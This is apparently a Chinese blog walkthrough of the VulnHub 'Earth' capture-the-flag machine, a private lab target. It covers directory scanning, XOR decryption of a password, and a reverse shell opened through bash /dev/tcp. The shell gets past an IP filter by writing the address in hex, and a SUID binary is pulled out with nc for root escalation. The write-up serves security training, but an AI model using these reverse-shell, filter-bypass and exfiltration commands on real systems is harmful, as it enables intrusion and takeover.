2-vulnhub靶场,Earth

Vulnhub earth靶机
攻击机192.168.137.129
靶机192.168.137.128
在这里插入图片描述
开放22,80,443端口
发现443端口显示这个ip绑定了俩个域名
查看80端口
在这里插入图片描述
查看443端口
在这里插入图片描述
修改host文件
linux目录:/etc/hosts
后面添加192.168.137.128 earth.local terratest.earth.local
访问https://earth.local
https://terratest.earth.local (无)
http://earth.local
http://terratest.earth.local
页面都是下面这个
在这里插入图片描述
利用kal对该域名进行目录扫描
dirb https://earth.local
在这里插入图片描述
第一个地址显示有内容,第二个地址返回403
在这里插入图片描述
扫描第二个域名的目录:
在这里插入图片描述
查看robots.txt文件
在这里插入图片描述
最后面有个文件名,尝试后缀为txt:
在这里插入图片描述
在这里插入图片描述
这里可以知道域名上那些加密字段是通过密钥‘testdata.txt’xor运算得到的.
发现账户名terra.
先把这个txt文件下载下来:

wget https://terratest.earth.local/testdata.txt --no-check-certificate

在这里插入图片描述
写个小程序

import binascii
testdata = binascii.b2a_hex(open('testdata.txt','rb').read()).decode()
data = input()
print(hex(int(data,16) ^ int(testdata,16)))

运行然后将要解密的数据输入即可,解密数据如下:

0x4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973436679202f2f7d6f6d6f3b2f70706561726527327e643b7f662427782c7f6a6a3d2a616c66332c6f717c79247736267c25516a76772b55203c40663b792f6a7f6b72307e683c506a31732e3d066997f3dc732d712c3c6a247b75676e247536267f2a2b6f2765726c6a7c6d6e6e2f3f3b2d277f31252c667b6b78382e607f6229228ce5996e70607573742a797a64317d7862693a6f7b297e73687d2c5e3623546a637937616a2c796e3e4868752d17736b6c2924496e2a27792f6479626a377074347e7522743d356a6768262379782a2b6677693d2f65617079726e63616e786b797f382f6b3c0b363d2b3180e8da712a497238786f22507c377766626e
0x4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973746f72792c206c69666520617070656172656420696e20746865206f6365616e7320616e6420626567616e20746f2061666665637420456172746827732061746d6f73706865726520616e6420737572666163652c206c656164696e6720746f207468652070726f6c5e72726c6a7e3c6576797f7b262a786b7c68246b61772d6f6320302d2777656231343669716324687465376166236065637e296f3e6b466e6b756b7a64747c613e797e63697976627e6a6e24364f3f30697e7f647c30767c246c78347e25356c33642a606d783661387b76636b65746469612025652c7b747239783e717b3177246826767e6f6178782d296966347476367075646b
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174

3段密文,貌似就之后最后一个解密的数据是有用的,其余都是乱码
看看第3段密文解析;
在这里插入图片描述
可以发现是earthclimatechangebad4humans的循环
尝试账号terra,密码earthclimatechangebad4humans进行登录:
显示登录成功:
在这里插入图片描述
发现是一个命令执行权限
在这里插入图片描述
尝试反弹shell

Kali攻击机执行
nc -lvp 23333
命令执行
bash -i >& /dev/tcp/192.168.137.129/23333 0>&1

在这里插入图片描述
显示拒绝连接
任意方法在文件中查看一下,最终在secure_message/forms.py中发现:(可以下载整套源码放入到代码审计系统中搜寻‘Remote connections are forbidden’)

for potential_ip in re.findall(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', value): 
	try: 
		ip_address(potential_ip) 
	except: 
		pass 
else: 
	raise ValidationError('Remote connections are forbidden.')

这个代码就是对ip的字母进行了过滤,所以可以将ip数字转换为16进制进行绕过:
指令如下:

bash -i >& /dev/tcp/0xc0.0xa8.0x89.0x81/23333 0>&1

成功:
在这里插入图片描述
提权:

find / -perm -u=s -type f 2>/dev/null
-perm 按权限查找 ugo(用户/组/其他) rwx(读/写/执行) 
S 为SUID/SGID特殊权限
-type 文件类型f->文件  d->文件夹
2>/dev/null 不显示错误信息 2->错误输出(0->标准输入; 1->标准输出) >(先清除再写入) or >>(追加) /dev/null位桶(黑洞),接受到的任何数据都会被丢弃

在这里插入图片描述
在这里插入图片描述
显示没有相应的触发器,
只好将其传到kali
攻击机:nc -nlvp 1234 >reset_root
靶机shell:nc 192.168.137.129 1234 < /usr/bin/reset_root
在这里插入图片描述
给予用户权限
在这里插入图片描述
下面利用strace进行解析

strace /home/kali/reset_root

在这里插入图片描述
可以看到,程序执行到这个三个目录就停止了
在shell查看一下有没有这个目录
发现没有,就将这三都创建看看
在这里插入图片描述
或者命令:

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

shell中执行reset_root文件
显示将密码重置为Earth
在这里插入图片描述
Su切换账号,密码是Earth
在这里插入图片描述
提权成功

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值